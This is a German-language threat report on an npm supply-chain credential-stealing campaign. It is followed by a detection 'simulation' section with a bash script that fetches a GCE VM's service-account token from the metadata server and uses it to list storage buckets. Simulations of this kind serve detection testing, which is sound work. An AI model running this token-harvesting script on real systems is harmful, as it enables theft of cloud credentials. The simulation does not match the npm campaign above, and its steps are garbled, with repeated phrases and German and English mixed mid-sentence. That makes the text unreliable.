Von Preinstall zu Persistenz: Die Red Hat npm Miasma Kampagne zum Diebstahl von Anmeldedaten

Zusammenfassung

Microsoft Defender hat einen Lieferkettenkompromiss identifiziert, der 32 npm-Pakete betrifft, die unter dem @redhat-cloud-services Namensraum veröffentlicht wurden. Die Angreifer fügten einen Pre-Installations-Hook ein, der einen stark verschleierten JavaScript-Loader bereitstellt, der dann die Bun-Laufzeitumgebung und einen zweiten Credential-Stealer abruft. Die Malware sammelt Tokens von GitHub, npm, großen Cloud-Anbietern, HashiCorp Vault und Kubernetes und veröffentlicht dann vergiftete Pakete erneut, um sich weiter zu verbreiten. Die Kampagne umfasst auch eine destruktive Sperre, die das Home-Verzeichnis des Opfers löscht, wenn ein Täuschungstoken erkannt wird.

Untersuchung

Die Untersuchung verfolgte den ursprünglichen Verstoß auf eine kompromittierte CI/CD-Pipeline für zurück RedHatInsights/javascript-clients, wo die Angreifer einen legitimen GitHub Actions OIDC Workflow missbrauchten, um trojanisierte Pakete mit gültigen Herkunftssignaturen zu veröffentlichen. Die Analyse des Droppers deckte mehrere Verschleierungsschichten auf, einschließlich ROT-basierte Codierung, AES-128-GCM-Verschlüsselung und ein benutzerdefiniertem Chiffre, bevor Bun ausgeführt wurde, um die zweite Nutzlast zu starten. Die Bedrohungsakteure kratzen auch Memory von GitHub Actions Runners ab, um Geheimnisse direkt aus aktiven Prozessen zu extrahieren.

Minderung

Microsoft empfiehlt, Abhängigkeitshierarchien für die betroffenen @redhat-cloud-services Pakete zu überprüfen, vertrauenswürdige Versionen zu fixieren und npm-Skriptausführungen mit dem --ignore-scripts Flag, wo möglich, zu deaktivieren. Alle kompromittierten npm-Tokens sollten widerrufen und neu ausgegeben werden, und GitHub-Konten sollten auf unbefugte Repository-Erstellung oder verdächtige Aktivitäten überprüft werden. Weitere Sicherheitsmaßnahmen wurden seitdem in dem @redhat-cloud-services Namensraum implementiert, um unbefugte Veröffentlichungen zu verhindern.

Reaktion

Verteidiger sollten verdächtige npm-Pre-Installationsausführungen und unerwartete Bun-Laufzeit-Starts aus temporären Verzeichnissen erkennen. Auch die Erstellung unbekannter öffentlicher GitHub-Repositories und ungewöhnliche Token-Nutzungsmuster sollten überwacht werden. Netzwerkschutzmaßnahmen sollten Verbindungen zu bekannten Bun-Download-URLs und der api.anthropic.com Domain blockieren oder warnen. Alle potenziell offengelegten Anmeldeinformationen sollten sofort rotiert werden, und CI/CD Runner-Speicher sollte auf Anzeichen von geleakten Geheimnissen untersucht werden.

Simulation Ausführung

Voraussetzung: Der Telemetrie- & Grundlatenz Vorflugstest muss bestanden haben.

Begründung: Dieser Abschnitt enthält die genaue Ausführung der gegnerischen Technik (TTP), die darauf ausgelegt ist, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und sollen die genaue Telemetrie erzeugen, die von der Erkennungslogik erwartet wird.

• Angriffserzählung & Befehle:
  Ein Angreifer, der bereits eine GCE-VM kompromittiert hat, verwendet einen living-off-the-land Ansatz, um das Standarddienstkonten-Token der VM zu ernten. Die Schritte sind:

  1. Den Metadaten-Server sondieren um zu überprüfen, ob er erreichbar ist.
  2. Eine Token-Anfrage senden to http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token mit dem erforderlichen Header "Metadata-Flavor: Google". Das erhaltene JSON speichern
  3. (enthält Verwenden Sie das Token Verwenden Sie das Token, Verwenden Sie das Token, Verwenden Sie das Token).
  4. um eine privilegierte GCP-API aufzurufen (z.B. alle Buckets auflisten), um nachvollziehbare Zugangsdaten zu demonstrieren. to call a privileged GCP API (e.g., list all buckets) to demonstrate actionable credentials.

  Diese genaue Sequenz generiert das Auditereignis GCPServiceAccountTokenAccess, das der Sigma-Regel Auswahl.

• Regression Test Script:

  #!/usr/bin/env bash
  set -euo pipefail
  
  # 1. Erreichbarkeit des Metadaten-Servers überprüfen
  echo "[*] Metadaten-Server werden sondiert..."
  curl -s -H "Metadata-Flavor: Google" 
    "http://metadata.google.internal/computeMetadata/v1/instance/id" >/dev/null
  
  # 2. Standarddienstkonten-Token ernten
  echo "[*] Dienstkonten-Token wird angefordert..."
  TOKEN_RESPONSE=$(curl -s -H "Metadata-Flavor: Google" 
    "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token")
  
  echo "[+] Token-Antwort erhalten:"
  echo "${TOKEN_RESPONSE}" | jq .
  
  # 3. Das Zugriffstoken extrahieren
  ACCESS_TOKEN=$(echo "${TOKEN_RESPONSE}" | jq -r '.access_token')
  
  # 4. Mit dem Token GCS-Buckets auflisten (demonstriert die Nutzenfähigkeit des Tokens)
  echo "[*] Token wird verwendet, um GCS-Buckets aufzulisten..."
  curl -s -H "Authorization: Bearer ${ACCESS_TOKEN}" 
    "https://storage.googleapis.com/storage/v1/b" | jq .
  
  echo "[+] Simulation abgeschlossen. Die obigen Aktionen sollten ein GCPServiceAccountTokenAccess-Auditereignis erzeugt haben."

• Bereinigungskommandos:

  # Es wurden keine dauerhaften Änderungen vorgenommen; nur temporäre Variablen werden entfernt.
  unset TOKEN_RESPONSE ACCESS_TOKEN
  echo "[*] Bereinigung abgeschlossen."